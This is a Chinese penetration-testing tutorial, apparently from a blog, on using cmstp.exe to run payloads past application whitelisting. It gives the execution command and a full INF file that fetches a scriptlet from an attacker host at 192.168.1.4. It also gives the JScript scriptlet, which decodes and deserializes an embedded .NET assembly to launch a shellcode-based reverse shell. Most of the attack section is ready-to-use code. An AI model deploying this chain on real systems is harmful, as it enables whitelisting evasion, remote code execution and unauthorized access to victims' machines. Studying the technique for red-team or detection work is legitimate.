渗透测试-基于白名单执行payload--Cmstp

0x01 Cmstp简介

Cmstp安装或删除“连接管理器”服务配置文件。如果不含可选参数的情况下使用,则 cmstp 会使用对应于操作系统和用户的权限的默认设置来安装服务配置文件。

微软官方文档:

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp

说明:Cmstp.exe所在路径已被系统添加PATH环境变量中,因此,Cmstp命令可识别,需注意x86,x64位的Cmstp调用。

Windows 2003 默认位置:

C:\Windows\System32\cmstp.exe

C:\Windows\SysWOW64\cmstp.exe

 

Windows 7 默认位置:

C:\Windows\System32\cmstp.exe

C:\Windows\SysWOW64\cmstp.exe

渗透测试-基于白名单执行payload--Cmstp

 

 

0x02 复现

 

攻击机: Kali

靶机:Win 7

 

Msf配置:

渗透测试-基于白名单执行payload--Cmstp

靶机执行:

cmstp.exe /ni /s C:\Users\John\Desktop\rev.inf

渗透测试-基于白名单执行payload--Cmstp

 

Micropoor_rev_cmstp_inf:

[version]

 

Signature=$chicago$

 

AdvancedINF=2.5

 

[DefaultInstall_SingleUser]

 

UnRegisterOCXs=UnRegisterOCXSection

 

[UnRegisterOCXSection]

 

%11%\scrobj.dll,NI,http://192.168.1.4/cmstp_rev_53_x64.sct

 

[Strings]

 

AppAct = "SOFTWARE\Microsoft\Connection Manager"

 

ServiceName="Micropoor"

 

ShortSvcName="Micropoor"

 

 

 

 

 

 

cmstp_rev_53_x64.sct

<?XML version="1.0"?>

<scriptlet>

<registration

progid="PoC"

classid="{F0001111‐0000‐0000‐0000‐0000FEEDACDC}" >

 

<script language="JScript">

 

<![CDATA[

 

function setversion() {

}

function debug(s) {}

function base64ToStream(b) {

 

var enc = new ActiveXObject("System.Text.ASCIIEncoding");

var length = enc.GetByteCount_2(b);

var ba = enc.GetBytes_4(b);

var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");

ba = transform.TransformFinalBlock(ba, 0, length);

var ms = new ActiveXObject("System.IO.MemoryStream");

ms.Write(ba, 0, (length / 4) * 3);

ms.Position = 0;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BwAHkAcgBpAGcAaAB0AAAAIAAAADwA"+

"CQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAAAyADIAMgAyAC4AZABsAGwAAAAA"+

"ADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAA4AAgA"+

"AQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVm"+

"bGVjdGlvbi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA";

 var entry_class = 'ShellCodeLauncher.Program';

 

try {

setversion();

var stm = base64ToStream(serialized_obj);

var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');

var al = new ActiveXObject('System.Collections.ArrayList');

var d = fmt.Deserialize_2(stm);

al.Add(undefined);

var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);

} catch (e) {

debug(e.message);

}

]]>

</script>

</registration>

</scriptlet>

 

上一篇:with fit-content 等属性详解


下一篇:13、整数反转